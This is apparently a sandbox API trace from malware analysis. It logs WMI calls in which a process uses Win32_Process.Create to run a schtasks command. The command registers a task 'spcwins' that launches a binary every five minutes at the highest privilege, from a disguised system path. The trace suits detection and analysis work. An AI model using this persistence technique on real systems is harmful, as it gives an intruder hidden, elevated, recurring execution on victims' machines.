WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0130.307] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0130.307] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bb50, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0130.307] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bb50, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0130.307] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0130.307] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0130.307] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0130.307] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.309] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bbb3710) returned 0x0 [0130.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbb3710, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0130.309] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbb3710, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1aa0bcd0) returned 0x0 [0130.309] WbemDefPath:IUnknown:Release (This=0x1bbb3710) returned 0x0 [0130.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1aa0bcd0) returned 0x0 [0130.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0130.309] WbemDefPath:IUnknown:AddRef (This=0x1aa0bcd0) returned 0x3 [0130.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0130.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0130.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bbb3750) returned 0x0 [0130.309] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbb3750, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.309] WbemDefPath:IUnknown:Release (This=0x1bbb3750) returned 0x3 [0130.309] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0130.309] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0130.310] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0130.310] WbemDefPath:IUnknown:Release (This=0x1aa0bcd0) returned 0x2 [0130.310] WbemDefPath:IUnknown:Release (This=0x1aa0bcd0) returned 0x1 [0130.310] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0130.310] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0130.310] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1aa0bcd0) returned 0x0 [0130.310] WbemDefPath:IUnknown:AddRef (This=0x1aa0bcd0) returned 0x3 [0130.310] WbemDefPath:IUnknown:Release (This=0x1aa0bcd0) returned 0x2 [0130.310] WbemDefPath:IWbemPath:SetText (This=0x1aa0bcd0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0130.310] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b910, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0130.310] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0130.310] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.310] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0130.310] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0130.310] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0130.310] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.311] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbb3790) returned 0x0 [0130.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbb3790, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0130.312] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbb3790, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0bd90) returned 0x0 [0130.312] WbemDefPath:IUnknown:Release (This=0x1bbb3790) returned 0x0 [0130.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0bd90) returned 0x0 [0130.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0130.312] WbemDefPath:IUnknown:AddRef (This=0x1aa0bd90) returned 0x3 [0130.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0130.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0130.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbb37d0) returned 0x0 [0130.312] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbb37d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.312] WbemDefPath:IUnknown:Release (This=0x1bbb37d0) returned 0x3 [0130.312] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0130.312] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0130.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0130.312] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x2 [0130.313] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x1 [0130.313] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0130.313] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0130.313] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bd90, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0bd90) returned 0x0 [0130.313] WbemDefPath:IUnknown:AddRef (This=0x1aa0bd90) returned 0x3 [0130.313] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x2 [0130.313] WbemDefPath:IWbemPath:SetText (This=0x1aa0bd90, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bcd0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bd90, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bd90, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bd90, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0130.313] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0bcd0) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bd90, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bd90, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bd90, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0130.313] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0bcd0, uIndex=0x0, pszName="root") returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bd90, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bd90, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0130.313] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0bcd0, uIndex=0x1, pszName="cimv2") returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0bd90, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0bd90, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0bcd0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0bcd0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0bcd0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b910, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b910, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bcd0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bcd0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0130.313] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bcd0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0130.314] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bcd0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0130.314] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bcd0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0130.314] IWbemServices:GetObject (in: This=0x1bbaa0f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bb92d10, ppCallResult=0x0) returned 0x0 [0130.325] IWbemClassObject:GetMethod (in: This=0x1bb92d10, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bb93080, ppOutSignature=0x1bb7e690*=0x1bb933f0) returned 0x0 [0130.325] IWbemClassObject:SpawnInstance (in: This=0x1bb93080, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bbba910) returned 0x0 [0130.325] IWbemClassObject:Get (in: This=0x1bbba910, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c3fa0*=0, plFlavor=0x27c3fa4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c3fa0*=8, plFlavor=0x27c3fa4*=32) returned 0x0 [0130.325] IWbemClassObject:Get (in: This=0x1bbba910, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c3fa0*=8, plFlavor=0x27c3fa4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c3fa0*=8, plFlavor=0x27c3fa4*=32) returned 0x0 [0130.326] IWbemClassObject:Put (This=0x1bbba910, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"spcwins\" /sc MINUTE /mo 5 /tr \"'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0130.326] IWbemClassObject:Get (in: This=0x1bbba910, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c4048*=0, plFlavor=0x27c404c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c4048*=13, plFlavor=0x27c404c*=32) returned 0x0 [0130.326] IWbemClassObject:Get (in: This=0x1bbba910, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c4048*=13, plFlavor=0x27c404c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c4048*=13, plFlavor=0x27c404c*=32) returned 0x0 [0130.326] IUnknown:QueryInterface (in: This=0x1bb92630, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bb92630) returned 0x0 [0130.326] IUnknown:QueryInterface (in: This=0x1bb92630, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0130.326] IUnknown:QueryInterface (in: This=0x1bb92630, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0130.327] IUnknown:AddRef (This=0x1bb92630) returned 0x3 [0130.327] IUnknown:QueryInterface (in: This=0x1bb92630, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0130.327] IUnknown:QueryInterface (in: This=0x1bb92630, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0130.327] IUnknown:QueryInterface (in: This=0x1bb92630, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bb92638) returned 0x0 [0130.327] IMarshal:GetUnmarshalClass (in: This=0x1bb92638, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0130.327] IUnknown:Release (This=0x1bb92638) returned 0x3 [0130.327] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0130.327] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0130.327] IUnknown:QueryInterface (in: This=0x1bb92630, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0130.327] IUnknown:Release (This=0x1bb92630) returned 0x2 [0130.327] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0130.327] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0130.327] IUnknown:QueryInterface (in: This=0x1bb92630, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0130.327] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0130.327] IUnknown:QueryInterface (in: This=0x1bb92630, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0130.327] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0130.327] 